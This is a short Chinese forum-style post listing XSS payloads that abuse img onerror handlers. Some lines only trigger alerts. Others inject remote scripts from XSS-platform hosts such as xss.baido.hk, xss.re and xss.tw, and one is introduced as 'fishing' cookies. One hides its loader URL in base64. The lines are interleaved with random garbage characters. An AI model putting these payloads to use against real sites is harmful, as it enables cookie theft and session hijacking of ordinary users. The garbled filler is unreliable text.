img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
# ~0 d4 M$ F4 q) U- `6 v<img src=# onerror=alert(123)>
* I4 b% \: B( V+ Q* f2 u$ H. F9 t<img src=# onerror=alert(document.cookie)>
下面是利用平台钓cookie的
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
" F6 R+ o8 N8 H$ c
$ R, B' g  V. b( H/ r' m% G6 h# [
% h$ {3 f% W3 ~9 D) p+ O<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
0 e, V# q) v& R* n1 k<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
2 T4 p+ x- k+ V* s1 ^<img src=1 onerror=jQuery.getScript("//xss.re/974")>
<img src="#">
<img src="#">
# I. p; Z8 T% U1 ~  m9 U<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
' c5 m0 t0 h* d+ H0 P2 @0 v/ u/ \<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
! |: k7 L8 u; x1 ~3 \<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
% }8 M8 ~6 Y# M- C9 {. \; e! d<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
<img src=x width="0" height="0"></img>
<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>